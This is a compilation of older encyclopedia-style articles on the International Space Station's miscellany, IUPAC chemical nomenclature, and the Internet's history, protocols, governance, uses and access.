          Critics also say that NASA is often casually credited with "spin-offs" (such as Velcro and portable computers) that were developed independently for other reasons. NASA maintains a list of spin-offs from the construction of the ISS, as well as from work performed on the ISS. However, NASA's official list is much narrower and more arcane than dramatic narratives of billions of dollars of spin-offs.


          It is therefore debatable whether the ISS, as distinct from the wider space program, will be a major contributor to society. Some advocates argue that apart from its scientific value, it is an important example of international cooperation. Others claim that the ISS is an asset that, if properly leveraged, could allow more economical manned Lunar and Mars missions. Either way, advocates argue that it misses the point to expect a hard financial return from the ISS; rather, it is intended as part of a general expansion of spaceflight capabilities.


          


          Sightings


          Due to the size of the International Space Station, which is the size of an American football field, and particularly due to the large reflective area offered by its solar panels, ground based observation of the station is possible with the naked eye. In many cases the station is one of the brightest naked-eye objects in the sky, though it is only visible for brief periods of time. This is because the station is in low earth orbit, and the sun angle and observer locations need to coincide.


          NASA provides data on forthcoming opportunities for viewing the ISS (and other objects) on the Station Sightings web page, as do the European Space Agency and the independent site Heavens-Above.


          


          Miscellany
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              Yuri Malenchenko was the first person to be married in space.
            

          


          


          Space tourism and a wedding


          As of 2007 there have been five space tourists to the ISS, each spending around US$25 million; they all went there aboard Russian supply missions. There has also been a space wedding when cosmonaut Yuri Malenchenko on the station married Ekaterina Dmitrieva, who was in Texas.


          


          ISS golf event


          Golf Shot Around The World was an event in which, on an EVA, a special golf ball, equipped with a tracking device, was hit from the station and sent into its own low Earth orbit for a fee paid by a Canadian golf equipment manufacturer to the Russian Space Agency. The task was supposed to be performed on Expedition 13, but the event was postponed, and took place on Expedition 14.


          


          Microgravity


          At the station's orbital altitude, the gravity from the Earth is 88% of that at sea level. The state of weightlessness is due to the constant free fall of the ISS, which according to the equivalence principle, is indiscernible from being in a state of zero gravity. The environment on the station is often described as microgravity, due to four effects:


          
            	The drag resulting from the residual atmosphere.


            	Vibratory acceleration due to mechanical systems and the crew on board the ISS.


            	Orbital corrections by the on-board gyroscopes (or thrusters).


            	The spatial separation from the real centre of mass of the ISS, with a level of gravity on the order of 2 to 1,000 millionths of one g (the value varies with the frequency of the disturbance, with the low value occurring at frequencies below 0.1 Hz, and the higher value at frequencies of 100 Hz or more).

          


          


          Time zone


          The ISS uses Coordinated Universal Time (UTC) also confused with GMT which is the official time zone in the UK, to regulate its onboard day. This is roughly equidistant between its two control centres in Houston and Moscow. The windows are covered at "night" to give the impression of darkness since it experiences 16 sunrises/sunsets a day. The crew typically wakes up at around 7:00 UTC; they work for about ten hours each weekday and five hours each Saturday. During visiting shuttle missions, the ISS crew will mostly follow the shuttle's Mission Elapsed Time (MET), which is a flexible timezone based solely on the launchtime of the shuttle mission. Because the sleeping periods between the UTC timezone and the MET usually differ, the ISS crew often has to adjust their sleeping pattern before the shuttle arrives and after it leaves to shift from one timezone to the other, therefore this is called sleepshifting.


          


          Atmosphere


          The atmosphere on board the ISS is maintained to have a composition similar to that of the Earth's atmosphere. Normal air pressure on the Space Station is 14.7 pounds per square inch ( psi), the same as at sea level on Earth. This does not match the atmosphere on the shuttle, so adjustments are performed during visits.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/International_Space_Station"
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        International Union of Pure and Applied Chemistry nomenclature


        
          

          IUPAC nomenclature is a system of naming chemical compounds and of describing the science of chemistry in general. It is developed and kept up to date under the auspices of the International Union of Pure and Applied Chemistry (IUPAC).


          The rules for naming organic and inorganic compounds are contained in two publications, known as the Blue Book and the Red Book respectively. A third publication, known as the Green Book, describes the recommendations for the use of symbols for physical quantities (in association with the IUPAP), while a fourth, the Gold Book, contains the definitions of a large number of technical terms used in chemistry. Similar compendia exist for biochemistry (in association with the IUBMB), analytical chemistry and macromolecular chemistry . These books are supplemented by shorter recommendations for specific circumstances which are published from time to time in the journal Pure and Applied Chemistry.


          This article treats the system of nomenclature in general, notably its aims and historical development. Separate articles treat the naming of organic compounds and inorganic compounds in more detail.


          


          Aims of chemical nomenclature


          The primary function of chemical nomenclature is to ensure that the person who hears or reads a chemical name is under no ambiguity as to which chemical compound it refers: each name should refer to a single substance. It is considered less important to ensure that each substance should have a single name, although the number of acceptable names is limited.


          It is also preferable that the name convey some information about the structure or chemistry of a compound. CAS numbers form an extreme example of names which do not perform this function: each refers to a single compound but none contain information about the structure. One might be tempted to add [7647-14-5] to one's meal, but not [133-43-9]the former is sodium chloride, the latter sodium cyanide.


          The form of nomenclature which should be used depends on the public to which it is addressed: as such there is no single correct form, but rather different forms which are more or less appropriate in different circumstances.


          A common name will often suffice to identify a chemical compound in a particular set of circumstances. There is little risk that the "salt" on a dinner table will be sodium cyanide (technically a salt itself). To be more generally applicable, the name should indicate at least the chemical formula: hence table salt is referred to chemically as sodium chloride, which indicates by the rules of inorganic nomenclature that the formula is NaCl. To be more specific still, the three-dimensional arrangement of the atoms may need to be specified: there are occasions where it might be necessary to distinguish between sodium chloride (halite structure) (the common form) and cesium chloride (CsCl structure) (of theoretical interest only).


          In a few specific circumstances (such as the construction of large indices), it becomes necessary to ensure that each compound has a unique name: this requires the addition of extra rules to the standard IUPAC system (the CAS system is the most commonly used in this context), at the expense of having names which are longer and less familiar to most readers. Another system gaining popularity is the International Chemical Identifier  while InChI symbols are not human readable, they contain complete information about substance structure. That makes them more general than CAS numbers.


          The IUPAC system is often criticized for the above failures when they become relevant (for example in differing reactivity of sulfur allotropes which IUPAC doesn't distinguish). While IUPAC has a human-readable advantage over CAS numbering, it would be difficult to claim that the IUPAC names for some larger, relevant molecules (such as rapamycin) are human-readable, and so most researchers simply use the informal names.


          


          History
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              First page of Lavoisier's Chymical Nomenclature in English.
            

          


          The nomenclature of alchemy is rich in description, but does not effectively meet the aims outlined above. Opinions differ whether this was deliberate on the part of the early practitioners of alchemy or whether it was a consequence of the particular (and often esoteric) theoretical framework in which they worked.


          While both explanations are probably valid to some extent, it is remarkable that the first "modern" system of chemical nomenclature appeared at the same time as the distinction (by Lavoisier) between elements and compounds, in the late eighteenth century.


          The French chemist Louis-Bernard Guyton de Morveau published his recommendations in 1782, hoping that his "constant method of denomination" would "help the intelligence and relieve the memory". The system was refined in collaboration with Berthollet, de Fourcroy and Lavoisier, and promoted by the latter in a textbook which would survive long after his death at the guillotine in 1794. The project was also espoused by Jns Jakob Berzelius, who adapted the ideas for the German-speaking world.


          The recommendations of Guyton covered only what would be today known as inorganic compounds. With the massive expansion of organic chemistry in the mid-nineteenth century and the greater understanding of the structure of organic compounds, the need for a less ad hoc system of nomenclature was felt just as the theoretical tools became available to make this possible. An international conference was convened in Geneva in 1892 by the national chemical societies, from which the first widely accepted proposals for standardization arose.


          A commission was set up in 1913 by the Council of the International Association of Chemical Societies, but its work was interrupted by World War I. After the war, the task passed to the newly formed International Union of Pure and Applied Chemistry, which first appointed commissions for organic, inorganic and biochemical nomenclature in 1921 and continues to do so to this day.


          


          Types of nomenclature


          



          


          Compositional nomenclature


          e.g.hydrogen


          


          Stock nomenclature/Classical


          Stock nomenclature is used for naming inorganic compounds, and is based on the indication of the oxidation state of the metal cation.


          To name a compound, some simple rules are followed:


          
            	The cationic element is named first.


            	The oxidation state of the cation is then given, as Roman numerals in parentheses, if it is multivalent.


            	The anionic element or group is then named. See list of common anion names

          


          For example, for FeCl2:


          [image: \mathrm{Fe}\mathrm{Cl}_2 \to \underset{\mbox{iron(II)}}{\mathrm{Fe}^{+2}}+2\underset{\mbox{chloride}}{\mathrm{Cl}^{-}}]


          The name of FeCl2 is: iron(II) chloride.


          


          Radical nomenclature


          


          Substitutive nomenclature


          


          Additive nomenclature
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          The Internet is a worldwide, publicly accessible series of interconnected computer networks that transmit data by packet switching using the standard Internet Protocol (IP). It is a "network of networks" that consists of millions of smaller domestic, academic, business, and government networks, which together carry various information and services, such as electronic mail, online chat, file transfer, and the interlinked web pages and other resources of the World Wide Web (WWW).


          


          Terminology


          The Internet and the World Wide Web are not synonymous. The Internet is a collection of interconnected computer networks, linked by copper wires, fibre-optic cables, wireless connections, etc. In contrast, the Web is a collection of interconnected documents and other resources, linked by hyperlinks and URLs. The World Wide Web is one of the services accessible via the Internet, along with various others including e-mail, file sharing, online gaming and others described below.


          


          History


          


          Creation


          The USSR's launch of Sputnik spurred the United States to create the Advanced Research Projects Agency, known as ARPA, in February 1958 to regain a technological lead. ARPA created the Information Processing Technology Office (IPTO) to further the research of the Semi Automatic Ground Environment (SAGE) program, which had networked country-wide radar systems together for the first time. J. C. R. Licklider was selected to head the IPTO, and saw universal networking as a potential unifying human revolution.


          Licklider moved from the Psycho-Acoustic Laboratory at Harvard University to MIT in 1950, after becoming interested in information technology. At MIT, he served on a committee that established Lincoln Laboratory and worked on the SAGE project. In 1957 he became a Vice President at BBN, where he bought the first production PDP-1 computer and conducted the first public demonstration of time-sharing.


          At the IPTO, Licklider recruited Lawrence Roberts to head a project to implement a network, and Roberts based the technology on the work of Paul Baran, who had written an exhaustive study for the U.S. Air Force that recommended packet switching (as opposed to circuit switching) to make a network highly robust and survivable. After much work, the first two nodes of what would become the ARPANET were interconnected between UCLA and SRI International in Menlo Park, California, on October 29, 1969. The ARPANET was one of the "eve" networks of today's Internet. Following on from the demonstration that packet switching worked on the ARPANET, the British Post Office, Telenet, DATAPAC and TRANSPAC collaborated to create the first international packet-switched network service. In the UK, this was referred to as the International Packet Stream Service (IPSS), in 1978. The collection of X.25-based networks grew from Europe and the US to cover Canada, Hong Kong and Australia by 1981. The X.25 packet switching standard was developed in the CCITT (now called ITU-T) around 1976. X.25 was independent of the TCP/IP protocols that arose from the experimental work of DARPA on the ARPANET, Packet Radio Net and Packet Satellite Net during the same time period. Vinton Cerf and Robert Kahn developed the first description of the TCP protocols during 1973 and published a paper on the subject in May 1974. Use of the term "Internet" to describe a single global TCP/IP network originated in December 1974 with the publication of RFC 674, the first full specification of TCP that was written by Vinton Cerf, Yogen Dalal and Carl Sunshine, then at Stanford University. During the next nine years, work proceeded to refine the protocols and to implement them on a wide range of operating systems.


          The first TCP/IP-wide area network was made operational by January 1, 1983 when all hosts on the ARPANET were switched over from the older NCP protocols to TCP/IP. In 1985, the United States' National Science Foundation (NSF) commissioned the construction of a university 56 kilobit/second network backbone using computers called "fuzzballs" by their inventor, David L. Mills. The following year, NSF sponsored the development of a higher-speed 1.5 megabit/second backbone that became the NSFNet. A key decision to use the DARPA TCP/IP protocols was made by Dennis Jennings, then in charge of the Supercomputer program at NSF.


          The opening of the network to commercial interests began in 1988. The US Federal Networking Council approved the interconnection of the NSFNET to the commercial MCI Mail system in that year and the link was made in the summer of 1989. Other commercial electronic e-mail services were soon connected, including OnTyme, Telemail and Compuserve. In that same year, three commercial Internet Service Providers were created: UUNET, PSINET and CERFNET. Important, separate networks that offered gateways into, then later merged with, the Internet include Usenet and BITNET. Various other commercial and educational networks, such as Telenet, Tymnet, Compuserve and JANET were interconnected with the growing Internet. Telenet (later called Sprintnet) was a large privately funded national computer network with free dial-up access in cities throughout the U.S. that had been in operation since the 1970s. This network was eventually interconnected with the others in the 1980s as the TCP/IP protocol became increasingly popular. The ability of TCP/IP to work over virtually any pre-existing communication networks allowed for a great ease of growth, although the rapid growth of the Internet was due primarily to the availability of commercial routers from companies such as Cisco Systems, Proteon and Juniper, the availability of commercial Ethernet equipment for local-area networking and the widespread implementation of TCP/IP on the UNIX operating system.


          


          Growth


          Although the basic applications and guidelines that make the Internet possible had existed for almost a decade, the network did not gain a public face until the 1990s. On August 6, 1991, CERN, which straddles the border between France and Switzerland, publicized the new World Wide Web project. The Web was invented by English scientist Tim Berners-Lee in 1989.


          An early popular web browser was ViolaWWW, based upon HyperCard. It was eventually replaced in popularity by the Mosaic web browser. In 1993, the National Centre for Supercomputing Applications at the University of Illinois released version 1.0 of Mosaic, and by late 1994 there was growing public interest in the previously academic, technical Internet. By 1996 usage of the word Internet had become commonplace, and consequently, so had its misuse as a reference to the World Wide Web.


          Meanwhile, over the course of the decade, the Internet successfully accommodated the majority of previously existing public computer networks (although some networks, such as FidoNet, have remained separate). During the 1990s, it was estimated that the Internet grew by 100% per year, with a brief period of explosive growth in 1996 and 1997. This growth is often attributed to the lack of central administration, which allows organic growth of the network, as well as the non-proprietary open nature of the Internet protocols, which encourages vendor interoperability and prevents any one company from exerting too much control over the network.


          


          University students' appreciation and contributions


          New findings in the field of communications during the 1960s, 1970s and 1980s were quickly adopted by universities across North America.


          Examples of early university Internet communities are Cleveland FreeNet, Blacksburg Electronic Village and NSTN in Nova Scotia. Students took up the opportunity of free communications and saw this new phenomenon as a tool of liberation. Personal computers and the Internet would free them from corporations and governments (Nelson, Jennings, Stallman).


          Graduate students played a huge part in the creation of ARPANET. In the 1960s, the network working group, which did most of the design for ARPANET's protocols, was composed mainly of graduate students.


          


          Today's Internet
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          Aside from the complex physical connections that make up its infrastructure, the Internet is facilitated by bi- or multi-lateral commercial contracts (e.g., peering agreements), and by technical specifications or protocols that describe how to exchange data over the network. Indeed, the Internet is essentially defined by its interconnections and routing policies.


          As of December 30, 2007, 1.319 billion people use the Internet according to Internet World Stats. Writing in the Harvard International Review, philosopher N.J. Slabbert, a writer on policy issues for the Washington, D.C.based Urban Land Institute, has asserted that the Internet is fast becoming a basic feature of global civilization, so that what has traditionally been called "civil society" is now becoming identical with information technology society as defined by Internet use.


          


          Internet protocols


          In this context, there are three layers of protocols:


          
            	At the lower level ( OSI layer 3) is IP (Internet Protocol), which defines the datagrams or packets that carry blocks of data from one node to another. The vast majority of today's Internet uses version four of the IP protocol (i.e. IPv4), and, although IPv6 is standardized, it exists only as "islands" of connectivity, and there are many ISPs without any IPv6 connectivity. ICMP (Internet Control Message Protocol) also exists at this level. ICMP is connectionless; it is used for control, signaling, and error reporting purposes.

          


          
            	TCP (Transmission Control Protocol) and UDP (User Datagram Protocol) exist at the next layer up (OSI layer 4); these are the protocols by which data is transmitted. TCP makes a virtual "connection", which gives some level of guarantee of reliability. UDP is a best-effort, connectionless transport, in which data packets that are lost in transit will not be re-sent.

          


          
            	The application protocols sit on top of TCP and UDP and occupy layers 5, 6, and 7 of the OSI model. These define the specific messages and data formats sent and understood by the applications running at each end of the communication. Examples of these protocols are HTTP, FTP, and SMTP.

          


          


          Internet structure


          There have been many analyses of the Internet and its structure. For example, it has been determined that the Internet IP routing structure and hypertext links of the World Wide Web are examples of scale-free networks.


          Similar to the way the commercial Internet providers connect via Internet exchange points, research networks tend to interconnect into large subnetworks such as:


          
            	GEANT


            	GLORIAD


            	The Internet2 Network (formally known as the Abilene Network)


            	JANET (the UK's national research and education network)

          


          These in turn are built around relatively smaller networks. See also the list of academic computer network organizations.


          In network diagrams, the Internet is often represented by a cloud symbol, into and out of which network communications can pass.


          


          ICANN
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          The Internet Corporation for Assigned Names and Numbers (ICANN) is the authority that coordinates the assignment of unique identifiers on the Internet, including domain names, Internet Protocol (IP) addresses, and protocol port and parameter numbers. A globally unified namespace (i.e., a system of names in which there is at most one holder for each possible name) is essential for the Internet to function. ICANN is headquartered in Marina del Rey, California, but is overseen by an international board of directors drawn from across the Internet technical, business, academic, and non-commercial communities. The US government continues to have the primary role in approving changes to the root zone file that lies at the heart of the domain name system. Because the Internet is a distributed network comprising many voluntarily interconnected networks, the Internet, as such, has no governing body. ICANN's role in coordinating the assignment of unique identifiers distinguishes it as perhaps the only central coordinating body on the global Internet, but the scope of its authority extends only to the Internet's systems of domain names, IP addresses, protocol ports and parameter numbers.


          On November 16, 2005, the World Summit on the Information Society, held in Tunis, established the Internet Governance Forum (IGF) to discuss Internet-related issues.


          


          Language


          The prevalent language for communication on the Internet is English. This may be a result of the Internet's origins, as well as English's role as the lingua franca. It may also be related to the poor capability of early computers, largely originating in the United States, to handle characters other than those in the English variant of the Latin alphabet.


          After English (31% of Web visitors) the most requested languages on the World Wide Web are Chinese (16%), Spanish (9%), Japanese (7%), German (5%) and French (5%).


          By continent, 37% of the world's Internet users are based in Asia, 27% in Europe, 19% in North America, and 9% in Latin America and the Carribean.


          The Internet's technologies have developed enough in recent years, especially in the use of Unicode, that good facilities are available for development and communication in most widely used languages. However, some glitches such as mojibake (incorrect display of foreign language characters, also known as kryakozyabry) still remain.


          


          Internet and the workplace


          The Internet is allowing greater flexibility in working hours and location, especially with the spread of unmetered high-speed connections and Web applications.


          


          The Internet viewed on mobile devices


          The Internet can now be accessed virtually anywhere by numerous means. Mobile phones, datacards, handheld game consoles and cellular routers allow users to connect to the Internet from anywhere there is a cellular network supporting that device's technology.


          


          Common uses of the Internet


          


          E-mail


          The concept of sending electronic text messages between parties in a way analogous to mailing letters or memos predates the creation of the Internet. Even today it can be important to distinguish between Internet and internal e-mail systems. Internet e-mail may travel and be stored unencrypted on many other networks and machines out of both the sender's and the recipient's control. During this time it is quite possible for the content to be read and even tampered with by third parties, if anyone considers it important enough. Purely internal or intranet mail systems, where the information never leaves the corporate or organization's network, are much more secure, although in any organization there will be IT and other personnel whose job may involve monitoring, and occasionally accessing, the e-mail of other employees not addressed to them.


          


          The World Wide Web
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          Many people use the terms Internet and World Wide Web (or just the Web) interchangeably, but, as discussed above, the two terms are not synonymous.


          The World Wide Web is a huge set of interlinked documents, images and other resources, linked by hyperlinks and URLs. These hyperlinks and URLs allow the web servers and other machines that store originals, and cached copies, of these resources to deliver them as required using HTTP (Hypertext Transfer Protocol). HTTP is only one of the communication protocols used on the Internet.


          Web services also use HTTP to allow software systems to communicate in order to share and exchange business logic and data.


          Software products that can access the resources of the Web are correctly termed user agents. In normal use, web browsers, such as Internet Explorer and Firefox, access web pages and allow users to navigate from one to another via hyperlinks. Web documents may contain almost any combination of computer data including photographs, graphics, sounds, text, video, multimedia and interactive content including games, office applications and scientific demonstrations.


          Through keyword-driven Internet research using search engines like Yahoo! and Google, millions of people worldwide have easy, instant access to a vast and diverse amount of online information. Compared to encyclopedias and traditional libraries, the World Wide Web has enabled a sudden and extreme decentralization of information and data.


          It is also easier, using the Web, than ever before for individuals and organisations to publish ideas and information to an extremely large audience. Anyone can find ways to publish a web page or build a website for very little initial cost. Publishing and maintaining large, professional websites full of attractive, diverse and up-to-date information is still a difficult and expensive proposition, however.


          Many individuals and some companies and groups use "web logs" or blogs, which are largely used as easily updatable online diaries. Some commercial organizations encourage staff to fill them with advice on their areas of specialization in the hope that visitors will be impressed by the expert knowledge and free information, and be attracted to the corporation as a result. One example of this practice is Microsoft, whose product developers publish their personal blogs in order to pique the public's interest in their work.


          Collections of personal web pages published by large service providers remain popular, and have become increasingly sophisticated. Whereas operations such as Angelfire and GeoCities have existed since the early days of the Web, newer offerings from, for example, Facebook and MySpace currently have large followings. These operations often brand themselves as social network services rather than simply as web page hosts.


          Advertising on popular web pages can be lucrative, and e-commerce or the sale of products and services directly via the Web continues to grow.


          In the early days, web pages were usually created as sets of complete and isolated HTML text files stored on a web server. More recently, websites are more often created using content management system (CMS) or wiki software with, initially, very little content. Contributors to these systems, who may be paid staff, members of a club or other organisation or members of the public, fill underlying databases with content using editing pages designed for that purpose, while casual visitors view and read this content in its final HTML form. There may or may not be editorial, approval and security systems built into the process of taking newly entered content and making it available to the target visitors.


          


          Remote access


          The Internet allows computer users to connect to other computers and information stores easily, wherever they may be across the world. They may do this with or without the use of security, authentication and encryption technologies, depending on the requirements.


          This is encouraging new ways of working from home, collaboration and information sharing in many industries. An accountant sitting at home can audit the books of a company based in another country, on a server situated in a third country that is remotely maintained by IT specialists in a fourth. These accounts could have been created by home-working bookkeepers, in other remote locations, based on information e-mailed to them from offices all over the world. Some of these things were possible before the widespread use of the Internet, but the cost of private leased lines would have made many of them infeasible in practice.


          An office worker away from his desk, perhaps on the other side of the world on a business trip or a holiday, can open a remote desktop session into his normal office PC using a secure Virtual Private Network (VPN) connection via the Internet. This gives the worker complete access to all of his or her normal files and data, including e-mail and other applications, while away from the office.


          This concept is also referred to by some network security people as the Virtual Private Nightmare, because it extends the secure perimeter of a corporate network into its employees' homes; this has been the source of some notable security breaches, but also provides security for the workers.


          


          Collaboration


          The low cost and nearly instantaneous sharing of ideas, knowledge, and skills has made collaborative work dramatically easier. Not only can a group cheaply communicate and test, but the wide reach of the Internet allows such groups to easily form in the first place, even among niche interests. An example of this is the free software movement in software development, which produced GNU and Linux from scratch and has taken over development of Mozilla and OpenOffice.org (formerly known as Netscape Communicator and StarOffice). Films such as Zeitgeist, Loose Change and Endgame have had extensive coverage on the Internet, while being virtually ignored in the mainstream media.


          Internet "chat", whether in the form of IRC "chat rooms" or channels, or via instant messaging systems, allow colleagues to stay in touch in a very convenient way when working at their computers during the day. Messages can be sent and viewed even more quickly and conveniently than via e-mail. Extension to these systems may allow files to be exchanged, "whiteboard" drawings to be shared as well as voice and video contact between team members.


          Version control systems allow collaborating teams to work on shared sets of documents without either accidentally overwriting each other's work or having members wait until they get "sent" documents to be able to add their thoughts and changes.


          


          File sharing


          A computer file can be e-mailed to customers, colleagues and friends as an attachment. It can be uploaded to a website or FTP server for easy download by others. It can be put into a "shared location" or onto a file server for instant use by colleagues. The load of bulk downloads to many users can be eased by the use of " mirror" servers or peer-to-peer networks.


          In any of these cases, access to the file may be controlled by user authentication; the transit of the file over the Internet may be obscured by encryption, and money may change hands before or after access to the file is given. The price can be paid by the remote charging of funds from, for example, a credit card whose details are also passedhopefully fully encryptedacross the Internet. The origin and authenticity of the file received may be checked by digital signatures or by MD5 or other message digests.


          These simple features of the Internet, over a worldwide basis, are changing the basis for the production, sale, and distribution of anything that can be reduced to a computer file for transmission. This includes all manner of print publications, software products, news, music, film, video, photography, graphics and the other arts. This in turn has caused seismic shifts in each of the existing industries that previously controlled the production and distribution of these products.


          Internet collaboration technology enables business and project teams to share documents, calendars and other information. Such collaboration occurs in a wide variety of areas including scientific research, software development, conference planning, political activism and creative writing.


          Voice telephony (VoIP)


          VoIP stands for Voice over IP, where IP refers to the Internet Protocol that underlies all Internet communication. This phenomenon began as an optional two-way voice extension to some of the instant messaging systems that took off around the year 2000. In recent years many VoIP systems have become as easy to use and as convenient as a normal telephone. The benefit is that, as the Internet carries the actual voice traffic, VoIP can be free or cost much less than a normal telephone call, especially over long distances and especially for those with always-on Internet connections such as cable or ADSL.


          Thus, VoIP is maturing into a viable alternative to traditional telephones. Interoperability between different providers has improved and the ability to call or receive a call from a traditional telephone is available. Simple, inexpensive VoIP modems are now available that eliminate the need for a PC.


          Voice quality can still vary from call to call but is often equal to and can even exceed that of traditional calls.


          Remaining problems for VoIP include emergency telephone number dialling and reliability. Currently, a few VoIP providers provide an emergency service, but it is not universally available. Traditional phones are line-powered and operate during a power failure; VoIP does not do so without a backup power source for the electronics.


          Most VoIP providers offer unlimited national calling, but the direction in VoIP is clearly toward global coverage with unlimited minutes for a low monthly fee.


          VoIP has also become increasingly popular within the gaming world, as a form of communication between players. Popular gaming VoIP clients include Ventrilo and Teamspeak, and there are others available also. The PlayStation 3 and Xbox 360 also offer VoIP chat features.


          


          Internet by region


          
            
              	
                
                  
                    	
                      
Internet in Africa
                    
                  


                  
                    	
                  


                  
                    	Sovereign states

                    	
                      
                        Algeria Angola Benin Botswana Burkina Faso Burundi Cameroon Cape Verde Central African Republic Chad Comoros Democratic Republic of the Congo Republic of the Congo Cte d'Ivoire (Ivory Coast) Djibouti Egypt Equatorial Guinea Eritrea Ethiopia Gabon The Gambia Ghana Guinea Guinea-Bissau Kenya Lesotho Liberia Libya Madagascar Malawi Mali Mauritania Mauritius Morocco Mozambique Namibia Niger Nigeria Rwanda Sahrawi Arab Democratic Republic So Tom and Prncipe Senegal Seychelles Sierra Leone Somalia South Africa Sudan Swaziland Tanzania Togo Tunisia Uganda Zambia Zimbabwe

                      

                    
                  


                  
                    	
                  


                  
                    	Dependencies,

                    autonomies,

                    other territories

                    	
                      
                        Canary Islands/ Ceuta/ Melilla (Spain) Madeira (Portugal) Mayotte/ Runion (France) Puntland St. Helena (UK) Socotra (Yemen) Somaliland Southern Sudan Western Sahara Zanzibar (Tanzania)

                      

                    
                  


                  
                    	
                  


                  
                    	Italics indicate an unrecognised or partially recognised country.
                  

                

              
            

          


          
            
              	
                
                  
                    	
                      
Internet in North America
                    
                  


                  
                    	
                  


                  
                    	Sovereign states

                    	
                      
                        Antigua and Barbuda Bahamas Barbados Belize Canada Costa Rica Cuba Dominica Dominican Republic El Salvador Grenada Guatemala Haiti Honduras Jamaica Mexico Nicaragua Panama1 Saint Kitts and Nevis Saint Lucia St. Vincent and the Grenadines Trinidad and Tobago1 United States
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                    	Dependencies and

                    other territories

                    	
                      
                        American Samoa2 Anguilla Aruba1 Bermuda British Virgin Islands Cayman Islands Greenland Guadeloupe Guam2 Martinique Montserrat Navassa Island Netherlands Antilles Northern Mariana Islands2 Puerto Rico St. Barthlemy St. Martin St. Pierre and Miquelon Turks and Caicos Islands United States Virgin Islands

                      

                    
                  


                  
                    	
                  


                  
                    	1 Territories also in or commonly reckoned elsewhere in the Americas (South America). 2 Territories also in or commonly reckoned to be in the Pacific basin.
                  

                

              
            

          


          
            
              	
                
                  
                    	
                      
Internet in South America
                    
                  


                  
                    	
                  


                  
                    	Sovereign states

                    	
                      
                        Argentina Bolivia Brazil Chile Colombia Ecuador Guyana Panama1 Paraguay Peru Suriname Trinidad and Tobago1 Uruguay Venezuela
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                    	Dependencies

                    	
                      
                        Aruba1/ Netherlands Antilles1 (Netherlands) Falkland Islands/ South Georgia and the South Sandwich Islands (UK) French Guiana (France)

                      

                    
                  


                  
                    	
                  


                  
                    	1 Territories also in or commonly reckoned elsewhere in the Americas (North America).
                  

                

              
            

          


          
            
              	
                
                  
                    	
                      
Internet in Asia
                    
                  


                  
                    	
                  


                  
                    	
                      
                        Afghanistan Armenia Azerbaijan1 Bahrain Bangladesh Bhutan Brunei Burma ( Myanmar) Cambodia China* Cyprus East Timor1 Egypt1 Georgia1 India Indonesia1 Iran Iraq Israel Japan Jordan Kazakhstan1 Korea ( North Korea South Korea) Kuwait Kyrgyzstan Laos Lebanon Malaysia Maldives Mongolia Nepal Northern Cyprus2 Oman Pakistan Palestinian territories3 Philippines Qatar Russia1 Saudi Arabia Singapore Sri Lanka Syria Tajikistan Thailand Turkey1 Turkmenistan United Arab Emirates Uzbekistan Vietnam Yemen1

                        


                        * People's Republic of China ( Hong Kong Macau) Republic of China ( Taiwan)

                      

                    
                  


                  
                    	
                  


                  
                    	1 Transcontinental country. 2 Only recognised by Turkey. 3 Not fully independent.
                  

                

              
            

          


          
            
              	
                
                  
                    	
                      
Internet in Europe
                    
                  


                  
                    	
                  


                  
                    	Sovereign

                    states

                    	
                      
                        Albania Andorra Armenia1 Austria Azerbaijan2 Belarus Belgium Bosnia and Herzegovina Bulgaria Croatia Cyprus1 Czech Republic Denmark4 Estonia Finland France4, 5, 6 Georgia2 Germany Greece Hungary Iceland Republic of Ireland Italy Kazakhstan3 Latvia Liechtenstein Lithuania Luxembourg Republic of Macedonia Malta Moldova Monaco Montenegro Netherlands Norway Poland Portugal Romania Russia3 San Marino Serbia Slovakia Slovenia Spain6 Sweden Switzerland Turkey3 Ukraine United Kingdom( England Northern Ireland Scotland Wales)

                      

                    
                  


                  
                    	
                  


                  
                    	Dependencies,

                    autonomies,

                    other territories

                    	
                      
                        Abkhazia2 Adjara1 Akrotiri and Dhekelia land Azores Crimea Faroe Islands Gagauzia Gibraltar Greenland7 Guernsey Jan Mayen Jersey Kosovo Isle of Man Madeira8 Nagorno-Karabakh1 Nakhchivan1 Northern Cyprus1 Republika Srpska South Ossetia2 Svalbard Transnistria

                      

                    
                  


                  
                    	
                  


                  
                    	Italics indicates an unrecognised or partially recognised country. 1 Entirely in Southwest Asia. 2 Partially or entirely in Asia, depending on the border definitions. 3 / 4 / 5 / 6 Has part of its territory in Asia / North America / South America / Africa. 7 / 8 Entirely on the North American Plate / African Plate.
                  

                

              
            

          


          
            
              	
                
                  
                    	
                      
Internet in Oceania
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                        Australia Christmas Island Cocos (Keeling) Islands New Zealand1 Norfolk Island
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                        East Timor2 Fiji New Caledonia Papua New Guinea3 Solomon Islands Vanuatu
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                        Federated States of Micronesia Guam Kiribati Marshall Islands Nauru Northern Mariana Islands Palau
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                        American Samoa Cook Islands French Polynesia Niue Pitcairn Islands Samoa Tokelau Tonga Tuvalu Wallis and Futuna

                      

                    
                  


                  
                    	
                  


                  
                    	1 Often included in Polynesia. 2 Often included in Southeast Asia. 3 Often included in Australasia.
                  

                

              
            

          


          


          Internet access


          Common methods of home access include dial-up, landline broadband (over coaxial cable, fibre optic or copper wires), Wi-Fi, satellite and 3G technology cell phones.


          Public places to use the Internet include libraries and Internet cafes, where computers with Internet connections are available. There are also Internet access points in many public places such as airport halls and coffee shops, in some cases just for brief use while standing. Various terms are used, such as "public Internet kiosk", "public access terminal", and "Web payphone". Many hotels now also have public terminals, though these are usually fee-based. These terminals are widely accessed for various usage like ticket booking, bank deposit, online payment etc. Wi-Fi provides wireless access to computer networks, and therefore can do so to the Internet itself. Hotspots providing such access include Wi-Fi cafes, where would-be users need to bring their own wireless-enabled devices such as a laptop or PDA. These services may be free to all, free to customers only, or fee-based. A hotspot need not be limited to a confined location. A whole campus or park, or even an entire city can be enabled. Grassroots efforts have led to wireless community networks. Commercial Wi-Fi services covering large city areas are in place in London, Vienna, Toronto, San Francisco, Philadelphia, Chicago and Pittsburgh. The Internet can then be accessed from such places as a park bench.


          Apart from Wi-Fi, there have been experiments with proprietary mobile wireless networks like Ricochet, various high-speed data services over cellular phone networks, and fixed wireless services.


          High-end mobile phones such as smartphones generally come with Internet access through the phone network. Web browsers such as Opera are available on these advanced handsets, which can also run a wide variety of other Internet software. More mobile phones have Internet access than PCs, though this is not as widely used. An Internet access provider and protocol matrix differentiates the methods used to get online.


          


          Social impact


          The Internet has made possible entirely new forms of social interaction, activities and organizing, thanks to its basic features such as widespread usability and access.


